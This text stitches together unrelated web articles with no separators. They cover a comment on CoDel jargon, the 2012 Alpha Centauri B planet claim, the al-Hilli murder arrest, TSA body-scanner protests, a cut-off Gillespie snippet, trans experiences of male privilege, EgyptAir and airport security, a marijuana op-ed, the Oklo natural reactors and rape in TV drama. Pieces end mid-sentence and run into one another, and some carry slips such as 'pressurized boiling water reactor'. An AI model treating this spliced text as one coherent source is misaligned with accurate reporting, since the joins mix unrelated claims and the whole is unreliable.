There might be other ways to do it, but the main point is, while CoDeL is a fine solution, the whole field is not really rocket science, and suffers BADLY from complex wording and lack of metaphorical explanations. Just look at the article above, and the "appendix" which for some reason is not in the links at the end of article. It took LESS amount of words to explain the algorithm (not including C code) than the "high-level explanation" which was for some reason labeled "ONE CODE MODULE, NO KNOBS, ANY LINK RATE" instead of "How it works". Does anyone in the field still speak plain English? And what with the "r.p" and "sojourn_*" variable names in the code? Is this really necessary?.. Would "deque_result.pkt" and "time_in_queue" really be that much harder to write?
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© 2018 ACM, Inc. All Rights Reserved.Today, planet hunters announced evidence that there's a planet orbiting one of our closest stellar neighbors. One of the three stars of the α Centauri star system shows the sort of periodic changes in brightness that are a hallmark of the presence of an orbiting planet. And, even though the new world would be far too hot to support liquid water, the astronomers who discovered it point out small planets tend to form in groups. Odds are good that there are additional planets lurking further out from the host star.
Rapid advances in planet-hunting have led to an ever-increasing catalog of exoplanets, but most of these orbit distant stars. In contrast, the a Centauri system "is a household name," as Greg Laughlin of UC Santa Cruz put it. Just over four light years from Earth, the system includes two bright stars, Centauri A and B orbiting each other with an 80 year period, along with a red dwarf called Proxima Centauri. Centauri B has a Sun-like mass, but is quite a bit dimmer.
The planet was detected using the radial velocity method. As a massive body orbits its host star, it exerts a gravitational pull on it, pulling the star in slightly different directions as its position shifts. These create a small acceleration in the star itself, usually on the order of a few meters per second2. That, in turn, shows up in the light emitted by the star as Doppler shifts in the light it emits, which vary with the orbital period of the planet.
Detecting these, however, can be a challenge, as a long catalog of factors can also cause periodic changes in the star's output. The authors of the paper describing the find list them as, "instrumental noise, stellar oscillation modes, granulation at the surface of the star, rotational activity, long-term activity induced by a magnetic cycle, the orbital motion of the binary composed of a Centauri A and B, light contamination from a Centauri A, and imprecise stellar coordinates."
To get around these, the authors relied on a massive catalog of observations, made using the HARPS instrument on a 3.6 meter telescope at the European Southern Observatory. Over a span of nearly four years, the authors made multiple observations of Centauri B, often several observations a night, spaced two hours apart. This let them average out short-term variability on the span of hours, and reconstruct that star's equivalent of the solar cycle, in which its activity increased over the course of their observations.
One by one, they factored out all of the periodicities they could account for. What was left was a hint of a signal with a periodicity of 3.3 days. This was incredibly weak—in fact, the smallest yet detected—at only 0.8 meters/second2 acceleration. But, even though this signal was much smaller than some of the noise they filtered out, the authors calculated there was a "false alarm probability" of less than one percent. In other words, it's probably a planet. As scientist told a press conference earlier today, if it was any place other than Alpha Centauri, there would be nothing extraordinary about the claims.
But don't start building the colony ship just yet. With a 3.3 day orbit, the planet is only 0.04 Astronomical Units (1 AU is the typical distance from the Earth to the Sun). That makes this planet blazingly hot, at about 1,500 Kelvin. One of its discoverers indicated this would ensure the surface is "not solid, more like lava." The radial velocity method lets you estimate the lower bound on the mass of the planet. Assuming it's orbiting roughly in a plane that faces edge-on to Earth, it has a mass roughly equivalent to our home planet.
Even though the new planet is likely well outside the habitable zone, we shouldn't give up on α Centauri. The plane of the two large stars of α Centauri is oriented nearly face on to Earth, and forces that govern star formation would make it likely that any planetary disks would form in this same plane. That means the planet is more likely to be on the low end of the mass estimates—in other words, close to Earth-sized. As the discoverers noted, about 70 percent of the small planets we've discovered have been in systems with multiple planets. So, the chances of finding something else further out are much higher than you might otherwise expect.
The HARPS team (which was represented by Stéphane Udry and Xavier Dumusque of the Geneva Observatory) estimate that, based on Centauri B's habitable zone (which is roughly centered on distance that's equivalent to Venus' orbit) they should be able to spot a Super-Earth (having five to 10 times Earth's mass) in the habitable zone. And, given the probability that the system's plane is oriented towards Earth, we could also use an orbiting observatory to watch for planets transiting in front of Centauri B.
We may have to wait a bit, though. The team told the press conference the orbit of the system's two large stars could be problematic; they were coming very close to each other over the next four years. This would make observations extremely challenging. It'll be eight years or more before we'll have good conditions for observations again. But, on the plus side, telescope tech is advancing dramatically these days, and a decade's worth of progress will put us in a much better position to learn something about our neighbors.
What about visiting? Laughlin estimates that, given our current technologies, any probe we sent wouldn't arrive for about 40,000 years. So that's probably a no-go, "given our propensity for instant gratification." But there are some unproven propulsion ideas that could get us there much more quickly, and Laughlin said that, should this find ignite enough interest, we may look into those more seriously.
Nature, 2012. DOI: 10.1038/nature11572 (About DOIs).The brother of an British-Iraqi shot dead with his family in the French Alps was today arrested as part of investigations into an alleged dispute over a family inheritance.
Although Surrey police declined to identify Zaid al-Hilli as the suspect arrested today, a source in France confirmed that it was the 54-year-old older brother of Saad al-Hilli whose family was savagely attacked by a gunman on a forest track near Lake Annecy in September last year.
Surrey Police said the man was detained at an address in Chessington, Surrey at around 7:30am on suspicion of conspiracy to commit murder. Detectives were later seen carrying evidence bags, a box and a ladder as they emerged from the block of Chessington flats where Zaid al-Hilli lived.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Saad Al-Hilli from nearby Claygate, his wife Iqbal and her mother Suhaila al-Allaf, who lived in Sweden, were shot dead with a French cyclist, Sylvain Mollier in a remote forest lay-by near the village of Chevaline.
Their daughters survived the shooting. Four-year-old Zeena was discovered under her mother’s body inside the family car, eight hours later. Her sister Zainab, seven, was found with serious head injuries after being shot and beaten.
Zaid al-Hill was questioned by British police last year about a possible connection with the disputed inheritance of their father who died in 2011. He denied all links with the killings.
In recent weeks, French investigators – working in a European Joint Investigation Team with Surrey and Sussex Police – have been looking into phone calls made by Zaid Al-Hilli to Romania in the weeks before the murders.
French prosecutor Eric Maillaud said that investigators were looking into what they believed was a “family dispute that pitted the two brothers on the issue of the inheritance of their father”. He added: “There are very specific questions which needs to be asked about it.”
In their statement yesterday, Surrey police said: “Officers from the Surrey and Sussex Major Crime Team have been working closely with the French authorities to progress a number of lines of enquiry. This pre-planned arrest is a result of these on-going enquiries.”
Since the quadruple murder nine months ago, French investigators initially appeared to favour the theory of family quarrel or a connection with the family’s past in Iraq. More recently, they had appeared to steer the investigation towards the possibility a random slaughter by a lone psychopath.
The French cyclist, Mr Mollier, 45, is believed to have stumbled on the murder scene. Both he and Saad Al-Hilli were initially wounded by a volley of shots from an antiquated 7.65 mm Luger automatic pistol, according to a forensic examination of the crime scene.
Both men were killed after the murderer had turned his gun on Iqbal, 47, and her mother Suhaila al-Allaf, 74, who were still in the family car.
Studies of the shoes of the victims suggest that Mr Al-Hilli, and his daughter Zainab, had been outside his BMW estate car when first attacked by the killer. Mr Al-Hilli, who was on a caravan holiday nearby, fled to his car and tried to drive away but he reversed at speed into a steep forest bank and became stuck. He was found dead at the wheel of his car with the engine running and the wheels still spinning.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowThe Thanksgiving holiday could turn fractious in airports all across the United States next week as public mutiny mounts over the recent introduction of new body scanners that leave little to the imagination and more thorough pat-down procedures at already congested check-points.
The furore has divided the country between those who believe that security comes first and that probing, prodding and scanning is acceptable and others who consider a line has been crossed into groping, exposure and touching of private parts that might amount to sexual molestation.
It was enflamed by one sentence uttered by a California man arriving for a flight in San Diego a week ago that has become a rallying cry for those now in rebellion. "If you touch my junk I'll have you arrested," he told a security officer. A stand-off ensued with the passenger, identified as John Tyner, a former professional cyclist, going back home rather than putting his "junk" at risk of contact.
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Bloggers, members of Congress, civil rights advocates and even some pilots are joining to protest the new technology and procedures that have been phased in in response both to the attempted underpants bombing last Christmas as well as recent cargo-hold scares. A campaign is growing on the internet for passengers next Wednesday to refuse en masse to submit to the inspections.
Where will it end, asked John Mica, a Florida Congressman? "Shoe bomber, we had to take off our shoes; liquid, we have to take out our liquid; now we're being groped because of the diaper bomber. What's next? The proctologist, the gynaecologist?"
Assailed from all sides, the head of the Transport Security Administration, TSA, John Pistole, defended the changes yesterday. "We're trying to see everybody can be assured that everybody else on that flight can be properly screened," he said. The TSA web page directed visitors to a USA Today poll showing the measures are supported by most Americans.
Thousands will get their first taste of the revamped security operations next week as Americans begin their annual turkey-day pilgrimages to family and friends often by air. Thanksgiving sees more Americans taking to the skies and the roads than at any other time of the year.
Among those up in arms are airline pilots who must submit to screening every time they show up for work. Two pilots last week filed suit against the government to be exempted from the stepped-up scans. Mr Pistole has conceded the TSA is taking their complaints into consideration.
"We've had a number of very good discussions with pilots and hope to be announcing something very soon in terms of a good way forward for the pilots," he said.
Regular passengers aren't likely to get the same kind of relief, however. So far the new all-body scanners, which undress the traveller much like a medical X-ray does, have been introduced in 60 airports. The more intrusive manual body-search guidelines are in force everywhere. Passengers are selected for a thorough pat-down either randomly or because something has shown up on the images collected by the body-scan machine. For travellers with particular medical issues, for instance a prosthetic limb or insulin pump, a pat-down will come with every flight. Aside from the privacy issues raised by the scanners, some have also warned of the possible ill-effects of radiation.
Anecdotal stories of humiliation abound on the airwaves and the internet. Erin Chase of Ohio, for example, has been widely quoted complaining that her vagina was touched. The agent "went to the bottom of my legs, came up my inner thighs, touched my genital areas on both sides," she said. "Security is obviously everybody's number one priority, but I don't think we need to be sexually violating our own citizens."
Ron Paul, the Texas libertarian, has introduced a bill on Capitol Hill to curb the new procedures. Called the American Traveller Dignity Act, it would end immunity from prosecution for TSA employees accused of molestation. "If you can't grope another person, if you can't X-ray people and endanger them... if you can't take nude photos of individuals, why do we allow the government do it?" he asked.
Members of the New York City Council last week called for the screening machines to be removed from city airports. Meanwhile, groups such as the American Civil Liberties Union have also taken up the cause. "I would be very surprised if the average American would say this is OK after going through the kind of experience we're hearing about," said Jay Stanley, a ACLU policy analyst.
Many Americans instinctively kick back against what they consider unwarranted intrusion by the government. Yet 9/11 demonstrated the need for stepped up security measures. But the steps being followed at US airports remain a far cry from what awaits some travellers elsewhere. In Israel, for instance, security staff are entitled even to ask them to strip down to their underwear in pre-boarding checks.
In interviews, Mr Tyner of San Diego has offered no regrets for confronting the TSA screeners last week and leaving the airport in a huff.
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Subscribe nowHigh Court asked to consider eligibility of Nationals MP David Gillespie
Updated
The High Court may be putting another federal politician under the microscope but this time it has nothing to do with citizenship.
Key points: Assistant Health Minister fighting attempts to have his business interests scrutinised
David Gillespie owns a shopping centre in Port Macquarie, one of the tenants is |
The reality of male privilege is well established. Women struggle to get into positions of power within business or politics. Women make 5- to 7-percent less than similarly situated men, even when all other variables are accounted for, leaving discrimination as the primary culprit. The epidemic of sexual assault in the military is longstanding, getting worse, and a national shame. There is no question that being female carries a significant "life penalty" with it. There's no denying that male privilege exists.
However, sometimes it feels taboo to ask how far male privilege goes. Who better to ask about it, though, than trans men and women who have lived on both sides of the divide?
Recently, I came across a blog post by a trans man of color who asked whether trans men really have it easier. It explored the intersectionality of gender and race in his experience. He concluded that being seen by society as a black man carried more disadvantages than being seen as a black woman, thanks to the prevalence of profiling. When I shared this blog post with other trans people, the responses were mixed.
A white trans man friend who read this blog post observed:
I'm hesitant to say that either side of the spectrum has it easier than the other, because a struggle is a struggle. But 99% of the time, trans men definitely do have it easier.
A trans woman of color who is also a veteran observed that the intersection of being a person of color and a trans woman is even worse:
I was stopped for looking like a drug dealer by the local police. It didn't help when the local addicts would walk up to me and ask for their stuff. However, I haven't read a single story when a trans* woman of color was attacked and lived. I've slowly accepted the fact that my chances of surviving in Afghanistan were higher than my chances being out in America. Once I transition, life expectancy goes out the window.
Her observations are in line with the statistics we have. According to the National Coalition of Anti-Violence Programs, 45 percent of all LGBT people murdered in hate crimes are trans women (despite being only about 6 percent of the LGBT community). Of those transgender persons murdered, 87 percent are trans women of color. My friend was even right about the level of violence: Trans people who survive hate crimes are 1.76 times more likely to require significant medical attention than other LGB victims. Economically, transgender people are twice as likely to be unemployed and four times as likely to live on less than $10,000 per year.
As a result, when you are perceived by others as a male-assigned-at-birth (MAAB) transgender person, you more than forfeit whatever privilege you had in terms of susceptibility to violence and poverty.
My own personal experiences also suggest that male privilege is not a constant value but can vary depending on where you are. I was often at a huge disadvantage as a small, slightly built, somewhat effeminate "man" in a very type-A, masculine military culture.
In most situations the male way of showing who's boss is to see who gets the omega to roll over fastest. Being the automatic omega dog in any given situation means either taking the abuse or standing up to it. Standing up to it generally meant taking even worse abuse as a result.
As a civilian researcher, I still work within a somewhat military environment, with pilots. The pilots are uniformly polite, proper in their bearing, and professional in their approach to the work we are doing. They also tend to pay more attention to the adjustable briefing room chairs they sit in than to me or any of the other women I work with. There is often more than a whiff of patronization when my military past comes up.
From my white-collar perspective, given the choice between active abuse and being treated like a wall hanging in a hotel room, the option of being ignored actually seems preferable. I somehow doubt, though, that I would feel better off post-transition if I had been the one on the top of the heap physically and socially pre-transition.
Environment is a variable as well. I went to high school with a very tight-knit, gifted group of people that was diverse and egalitarian. If you looked at our résumés today, you would be very hard-pressed to tell which ones belong to women and which ones belong to men.
A cisgender, straight (and very funny) feminist friend had her own thoughts on all of this:
Many feminists would respond by saying "that's patriarchy." The system of male privilege winds up harming men. The pressure to exert domination, particularly physical domination, over other men is a result of patriarchy's strict gender roles. Similarly, the horrible treatment of trans or gender nonconforming people who were designated male at birth could actually be seen as a manifestation of patriarchy / misogyny. They are hated for their rejection of male privilege, their embracing of femininity. It's almost as if the only thing worse than being a woman is "choosing" to be a woman when you don't have to.
Another queer feminist writer sums the concept up well:
Really, everyone is affected by patriarchy. And, patriarchy looks different, takes different forms, and has different effects in different places, times, classes, religions, and races.PARIS -- Today, CBS News learned the Airbus A320 transmitted messages that smoke was detected on board before it crashed in the Mediterranean, killing 66 people.
EgyptAir disaster raises questions about Egyptian security
There's been no evidence the Egypt Air crash had anything to do with security at Paris' Charles de Gaulle airport, but the French have tightened it anyway. And they've launched an investigation into whether there was a lapse here that might have allowed an explosive device to be placed on board -- if one was. This isn't the first time they've been worried.
EgyptAir crash comes as TSA faces wait-time criticism in U.S.
The 5,000 union security workers at the airport were all subjected to renewed, rigorous police checks following the Paris terror attacks last year. Some had their security clearance badges revoked.
The airport sits in Paris' northern suburbs, which have a high percentage of immigrants from Muslim countries, many of whom find work here.
EgyptAir disaster raises questions about Egyptian security
The new security checks look for evidence of radicalization: Where the employees have travelled, what they read, who they associate with. It's known as the 'insider' problem and is acknowledged -- here and elsewhere -- in the aviation world
"Clearly some countries are more vulnerable than others to this," said Mike Vivian, the former head of operations for Britain's Civil Aviation Authority."And it can be surreptitious, below the radar, so to speak. It is a serious issue, it is being looked at."
The fact that the Egypt air plane had been to Eritrea and Tunisia -- both with their own security problems -- just before it came to Paris, adds to the concerns. Aviation security is an international problem and is only as strong as its weakest link.I smoked my first joint shortly after high school graduation in the late 1960s and, like so many of my classmates, smoked marijuana regularly though college, when it was cheap and plentiful. I did not become addicted to marijuana or any other illicit drug, but I did develop a dependency on tobacco, which was much more lethal but perfectly legal. I stopped smoking cigarettes when I graduated from college but continued smoking marijuana for a few years, although a lot less regularly. I had no moral qualms about my marijuana use, but I was a criminal. So were most of my friends. If penal laws were indiscriminately applied to everyone who broke them, we would have been prosecuted, and if not imprisoned, professionally disabled by criminal records.
Unlike Mayor Walsh, I don’t universalize my experiences... I don’t assume that my personal observations and beliefs form an adequate basis for public policy.
Mayor Walsh apparently thinks we should have been prosecuted and perhaps sent to some sort of diversion program, for our own good. Marijuana is a “gateway drug,” he insists. Not everyone walks or stumbles through that gate, he acknowledges, but the mayor seems to view people who are not drawn into addiction by marijuana as exceptions to a potentially fatal rule. What’s the basis for this belief in marijuana’s inevitable evils? His own personal experiences and observations. Walsh, who is either a recovering or recovered alcoholic, depending on your point of view, has “seen too many lives ruined by starting to smoke weed.” I haven’t. I’ve seen people ruined by alcohol abuse but not by marijuana. So what? Unlike Mayor Walsh, I don’t universalize my experiences or the experiences of friends and acquaintances. I don’t assume that my personal observations and beliefs form an adequate basis for public policy. If you present me with hard evidence that my beliefs don’t accurately reflect reality, I’ll seriously consider it. If only the mayor would do the same. Instead, he echoes climate change skeptics confronted with evidence that contradicts their politics or personal beliefs: “I’m not a scientist,” Walsh memorably remarked to Boston Globe columnist Yvonne Abraham, when she pointed out the “shaky science” of his position. “He doesn’t want to argue about studies. He said he knows what he knows,” Abraham reports, just like people who “know” that climate change is a hoax and evolution a lie.
This is what’s so disturbing about Mayor Walsh’s opposition to legalization: He refuses to engage in a rational, informed debate about it.Two billion years ago— eons before humans developed the first commercial nuclear power plants in the 1950s— seventeen natural nuclear fission reactors operated in what is today known as Gabon in Western Africa [Figures 1 and 2]. The energy produced by these natural nuclear reactors was modest. The average power output of the Gabon reactors was about 100 kilowatts, which would power about 1,000 lightbulbs. As a comparison, commercial pressurized boiling water reactor nuclear power plants produce about 1,000 megawatts, which would power about ten million lightbulbs.
Figure 1: The geology of the Franceville Basin. The natural nuclear reactors are located at Oklo and Bangombé. Other uranium deposits (which did not host natural nuclear reactors) are found at Boyindzi, Okélobondo, and Mikouloungou. Figure taken from Mossman et al., 2008.
Despite their modest power output, the Gabon nuclear reactors are remarkable because they spontaneously began operating around two billion years ago, and they continued to operate in a stable manner for up to one million years. Further, at the Gabon reactors many of the radioactive products of the nuclear fission have been safely contained for two billion years, providing evidence that long-term geologic storage of nuclear waste is feasible.
The possibility that natural nuclear reactors may have operated on the ancient Earth was first hypothesized by scientists in the 1950s, when commercial nuclear reactors were first being developed and becoming popular. Notably, in a 1956 paper Paul Kuroda theorized the conditions under which nuclear fission could spontaneously develop and be sustained.
Figure 2: Geologic cross-section of the Oklo and Okélobondo uranium deposits, showing the locations of the nuclear reactors. The last reactor (#17) is located at Bangombé, ~30 km southeast of Oklo. The nuclear reactors are found in the FA sandstone layer. Figure taken from Mossman et al., 2008.
These conditions are very similar to the conditions under which nuclear reactions are sustained in manmade nuclear reactors.
In manmade nuclear reactors, power is generated when uranium (or sometimes plutonium) atoms fission or break into parts, releasing nuclear energy. As a result of this fission, fast neutrons are produced. If slowed down by a moderating substance (typically water or graphite), these neutrons may induce other atoms to undergo fission. When carefully controlled, a self-sustaining “critical” reaction of nuclear fission can generate power for a long time—until the nuclear fuel becomes depleted of fissionable atoms. The energy produced by nuclear fission is generally used to heat water and produce steam, which turns large turbines that produce electricity.
Uranium is the most common fuel used in commercial nuclear power plants. Uranium has three isotopes: uranium-238, uranium-235, and uranium-234. Because of nuclear properties, uranium-235 is most likely to fission when bombarded with neutrons. However, on Earth today uranium-235 comprises only 0.720% of uranium while uranium-238 is the dominant isotope of uranium (99.275%) and uranium-234 is present only in trace amounts (0.006%). The isotopic distribution of uranium is remarkably uniform in Earth’s crust, so all uranium ore mined today contains about 0.720% uranium-235. In order to increase the efficiency of the nuclear chain reactions, uranium-235 is artificially enriched to approximately 3% before uranium is used as a fuel in nuclear power plants.
To control nuclear chain reactions in manmade reactors, water is used as both a moderator (something that slows down neutrons) and as a coolant. To control or shut down a nuclear chain reaction, control rods are used. These control rods consist of elements (such as silver, iridium, and cadmium) that are capable of absorbing neutrons without undergoing fission. Boron (another element very good at absorbing neutrons without undergoing fission) can also be added to water surrounding a nuclear reactor to moderate or shut down a nuclear reaction.
Thus, in manmade nuclear reactors the concentration of uranium, the abundance of uranium-235, and the presence of neutron moderators and absorbers are all carefully controlled. These same factors play a role in natural nuclear reactors.
There are four conditions which must be met in order for a stable natural nuclear reactor to develop:
1. The natural uranium ore must have a high uranium content and must have a thickness (at least ~2/3 of a meter) and geometry that increase the probability of spontaneous, natural fission in uranium-238 inducing a self-sustaining fission reaction in uranium-235.
2. The uranium must contain significant amount of fissionable uranium-235.
3. There must be a moderator, something that can slow down the neutrons produced when uranium fissions.
4. There must not be significant amounts of neutron-absorbing elements (such as silver or boron), which would inhibit a self-sustaining nuclear reaction, in the vicinity of the uranium.
Kuroda pointed out that the conditions necessary for a natural nuclear reactor to develop could have been present in ancient uranium deposits. Today, there are many concentrated uranium deposits, but—as you might be relieved to hear— it is impossible for nuclear fission to spontaneously develop. This is because the concentration of uranium-235 is too small (only 0.720% of uranium, as I mentioned above) for a self-sustaining fission reaction to be sustained. However, the relative proportions of uranium-238 and uranium-235 have been changing over the history of the Earth.
When the Earth was first formed, uranium-235 comprised more than 30% of uranium [Figure 3]. The proportion of uranium-235 relative to uranium-238 has been changing because isotopes of uranium are radioactive and decay to other elements over time. However, uranium-238 decays at a much slower rate than uranium-235, so uranium-235 has become more and more depleted (relative to uranium-238) over the Earth’s 4.54 billion year history. Billions of years ago, the abundance of uranium-235 in uranium ore was high enough for a self-sustaining fission reaction to develop. Two billion years ago, there would have been about 3.6% uranium-235 present in uranium ore— about the proportion of uranium-235 used in pressurized boiling water reactor nuclear power plants. So, in theory, an ancient (billions of years old) uranium deposit could have spontaneously developed a self-sustaining nuclear fission, assuming the uranium was concentrated enough, there was a substance (probably water) to act as a moderator, and there were not significant amounts of neutron-absorbing elements nearby.
Figure 3: Uranium-235 / uranium-238 in the Earth’s crust over time. The x-axis is in units of millions of years. When the Gabon natural nuclear reactors operated about 2 billion years ago, the Earth’s crust contained approximately 3.68% uranium-235. Figure taken from Gauthier-Lafaye and Weber, 2003.
Sixteen years later, in 1972, just such a natural nuclear reactor was discovered in Gabon. The French had been mining uranium in Gabon—their former colony— for use in nuclear power plants. During a routine isotopic measurement of uranium ore from Gabon, the French noticed something very strange: the uranium ore did not have a uranium-235 content of 0.720%. Rather, the uranium ore was anomalously depleted in uranium-235, containing only 0.717%. This may sound like a tiny variation, but this discrepancy was very alarming for the French nuclear officials. You see, uranium-235 in Earth’s crust (and even in moon rocks and in meteorites) varies very little from the average value of 0.720%. Since uranium-235 can be used to make nuclear bombs, it was very important to account for this “missing” uranium-235.
Fortunately, the nuclear officials and scientists eventually remembered the old publications of Kuroda and others, and they soon realized that the anomalous uranium from Gabon provided evidence of something extraordinary—the first natural nuclear reactor ever discovered. The uranium ore was depleted in uranium-235 because two billion years ago some of that uranium-235 had been used up in a natural nuclear reactor. Eventually, sixteen natural nuclear reactors were discovered in uranium mines at Oklo [Figure 1]. An additional seventeenth natural nuclear reactor was also discovered at Bangombé, located about 30 km to the southeast of Oklo.
The natural nuclear fission reactors in Gabon are unique— to date, no additional natural nuclear reactors have been discovered. Unfortunately for science, the sixteen natural nuclear reactors at Oklo have been destroyed, completely mined out for their rich uranium ore. Scientists only have limited uranium samples (often with sparse field notes) on which to conduct their study of these extraordinary nuclear reactors. In the late 1990s, there was danger that the last natural nuclear reactor at Bangombé would be mined as well. In 1997 scientist Francois Gauthier-Lafaye (and co-authors) wrote a plea to the journal Nature advocating that mining of the Bangombé uranium be stopped. They wrote,
The last known natural fission reactor on Earth is likely to be mined this year. Because these natural reactors are unique, at least one should be preserved for present and future research programs… All the reactors except one are located in the most important uranium deposit of Gabon’s Franceville basin, at Oklo… This deposit will be completely mined out soon, in 1998. Future work on these reactors will therefore have to rely on previously collected samples, many of which are poorly documented and are out of their geological context… Work is still possible, however, in a reactor located in the very small uranium deposit of Bangombe 30 km from Oklo. We propose that this unique, scientifically important deposit be preserved for present and future research. This deposit is no less unique, and certainly more irreplaceable, than the most valued specimens from the Moon and Mars.
Since the discovery of the Gabon natural nuclear reactors in 1972, scientists have been puzzling over why these reactors developed in Gabon two billion years ago and—seemingly— have developed at no other place or time on Earth. Scientists are still working to understand the Gabon reactors, but over the past forty years, they have managed to tease out some of the details of how these nuclear reactors operated and were preserved in the geologic record.
You might be wondering why natural nuclear reactors developed in uranium deposits only two billion years ago, when uranium-235 had already been depleted to less than 4% of uranium. Wouldn’t fission reactors have been even more likely to develop earlier in Earth’s history, when the uranium-235 levels were even higher? Remember that a high isotopic abundance of uranium-235 is just one of four conditions required for a natural nuclear reactor to develop. Another important condition is that uranium be concentrated. It turns out, no significant concentrations of uranium developed on Earth prior to about two billion years ago. The reason for this is simple: oxygen.
In most rocks on Earth, uranium is present only in trace quantities (parts per million or parts per billion). Uranium is generally concentrated by hydrothermal circulation, which picks up uranium and concentrates it in a new hydrothermal deposit. In order for this hydrothermal circulation to concentrate uranium, that uranium must be soluble (able to be picked up in water). However, uranium solubility is a little tricky. When uranium is in its reduced form (U4+), uranium tends to form very stable compounds that are not easily brought into solution. However, when uranium is in its oxidized form (U6+), uranium easily forms soluble complexes. There was very little oxygen in Earth’s very early atmosphere. So, it would have been very difficult to concentrate a significant amount of uranium since there was no oxygen to transform uranium into its soluble forms.
However, starting around 2.4 billion years ago, there was an event called the “Great Oxidation Event” during which the levels of oxygen in the atmosphere rose significantly, from <1% to ≥15%. This significant rise in atmospheric oxygen was a result of photosynthetic cyanobacteria producing oxygen. For awhile, the oxygen produced by these bacteria was taken up by minerals which became oxidized. However, when these minerals became saturated in oxygen, this oxygen began to accumulate in the atmosphere. This increase of atmospheric oxygen allowed uranium to become mobile and to be concentrated through hydrothermal circulation.
In Gabon rich uranium deposits formed about two billion years ago in a marine sandstone layer in the Franceville Basin [Figure 2]. The lower part of this sandstone layer originally contained many small bits of uranium-bearing minerals (monazite, thorite, probably uraninite). These minerals were dispersed until the sandstone became infiltrated with oxidizing waters around two billion years ago. These oxidizing waters dissolved the uranium-bearing minerals and concentrated the uranium in several deposits towards the top of the sandstone layer. The uranium actually became extraordinarily well-concentrated. Fission of uranium could have begun when the uranium concentration reached 10%; the Gabon uranium deposits in which natural nuclear reactors developed contained about 25% to 60% uranium.
Thus, two billion years ago in Gabon two of the four conditions for the development of a natural nuclear fission reactor were met: there were significant concentrations of uranium, and this uranium still contained a significant amount of highly-fissionable uranium-235. The other two conditions were also met. Water was able to percolate into the permeable sandstone containing the uranium deposits, and this water acted as the neutron moderator. There were also no significant quantities of neutron-absorbing elements to inhibit the self-sustaining fission reaction. All of this provided the perfect recipe for a natural nuclear fission reactor.
The Gabon natural nuclear reactors operated for several hundred thousand years.The reactors likely switched on and off at regular intervals. The nuclear fission began, moderated by water, and continued until all available water boiled away as a result of nuclear heat. The reactions could not begin again until new water infiltrated the reactor. This on-and-off behavior of the reactors probably operated over a timescale of a few hours, analogous to the way in which geysers erupt periodically as a result of groundwater recharge. Possibly because of this periodic on-and-off behavior, the Gabon natural nuclear reactors were extremely stable. There was not a single melt-down; the reactors operated in a stable fashion for up to 1 million years. Eventually, the fissionable uranium-235 was depleted, and the Gabon natural nuclear reactors shut down.
The long-term preservation of the Gabon natural nuclear reactors is perhaps even more remarkable than the reactors themselves. These nuclear reactors have survived two billion years of geologic time. The preservation of the Gabon reactors is a result of two factors: the long-term stability of the African craton, and the isolation of the uranium deposits from oxidizing groundwater. The natural nuclear reactors in Gabon seem to have been largely protected by enveloping carbonaceous substances and clay, which created and maintained reducing (low oxygen) conditions which largely inhibited the movement of uranium and other radioactive products of nuclear fission.
Perhaps natural nuclear reactors operated in several other places on Earth two billion years ago. Perhaps we haven’t yet found evidence of other natural nuclear reactors, or perhaps the radioactive remains of other natural nuclear reactors have long since been eroded or oxidized and dissolved. As of today, however, the Gabon natural nuclear reactors remain “unique, and certainly more irreplaceable, than the most valued specimens from the Moon and Mars.” Since the Gabon reactors were so stable, operated over such a long time, and have been preserved for two billion years, scientific study of these unique natural reactors provides important insights relevant to anthropogenic nuclear power and nuclear waste storage. Mother Nature, it seems, knows how to operate a nuclear reactor.
References:
Bourdon et al, 2003. Introduction to U-series Geochemistry. In: Uranium-Series Geochemistry. Reviews in Mineralogy and Geochemistry, vol. 52: 1-22.
Gauthier-Lafaye, 2006. Time constraint for the occurrence of uranium deposits and natural nuclear fission reactors in the Paleoproterozoic Franceville Basin (Gabon). Geological Society of America Memoirs, vol. 198: 157-167.
Gauthier-Lafaye et al., 1997. The last natural nuclear fission reactor. Nature, vol. 387: 337.
Gauthier-Lafaye and Weber, 2003. Natural nuclear fission reactors: Time constraints for occurrence and their relation to uranium and manganese deposits and to the evolution of the atmosphere. Precambrian Research, vol. 120, no. 1-2: 81-101.
Hollinger and Devillers, 1981. Contribution à l’étude de la température dans les réacteurs fossils d’Oklo par la mesure du rapport isotopique du lutétium. Earth and Planetary Science Letters, vol. 52: 76-84.
Kuroda, 1956. On the nuclear physical stability of uranium minerals. Journal of Chemical Physics, vol. 25: 781-782.
Meshik, A. 2005. The Workings of an Ancient Nuclear Reactor. Scientific American, vol. 293, no. 5: 82-91.
Mossman et al., 2008. Carbonaceous substances in Oklo reactors—Anologue for permanent deep geologic disposal of anthropogenic nuclear waste. Reviews in Engineering Geology, vol. 19: 1-13.
Porcelli and Swarzenski, 2003. The Behavior of U- and Th- series Nuclides in Groundwater. In: Uranium-Series Geochemistry. Reviews in Mineralogy and Geochemistry, vol. 52: 317-362.
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About the Author: Evelyn Mervine is currently pursuing her PhD in Marine Geology & Geophysics in the joint program between MIT and Woods Hole Oceanographic Institution. She writes a geology blog named Georneys, which recently joined the AGU blog network. In March and April of 2011, Evelyn regularly interviewed her father, a nuclear engineer, about the ongoing Fukushima Daiichi nuclear power plant disaster in Japan. Her interviews with her father became extremely popular and were distributed far and wide on the internet. She is currently compiling a book of all of the nuclear interviews and plans to interview her father again as the Fukushima disaster approaches the four-month mark. She can be found on Twitter as @GeoEvelyn.
The views expressed are those of the author and are not necessarily those of Scientific American.
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Ed. note: thanks to readers for pointing two errors, now fixed: it is ten million, not one million lightbulbs that a manmade reactor can power, and it is nuclear, not chemical energy that is released in it.For all that is said about rape on television — it’s gratuitous, it’s unnecessary — we can at least agree that rape on television exists. Sure, TV features plenty of rape scenes used as mere plot devices: Anna Bates is raped on "Downton Abbey" (which builds tension in an otherwise happy marriage), Mellie Grant is raped by her father-in-law on "Scandal" (which shows she’s not just power hungry, but that she’s wounded). There are as many rape narratives on TV, though, that depict the real complexity of sexual violence and shape a character’s worldview: take Adam on "Girls" not getting enthusiastic consent from girlfriend Natalia, or Joan Holloway on "Mad Men" getting raped by her soon-to-be husband, or Elisabeth Moss’ detective on "Top of the Lake" who, as a teen, drove off with a group of neighborhood guys and then was gang-raped by them.
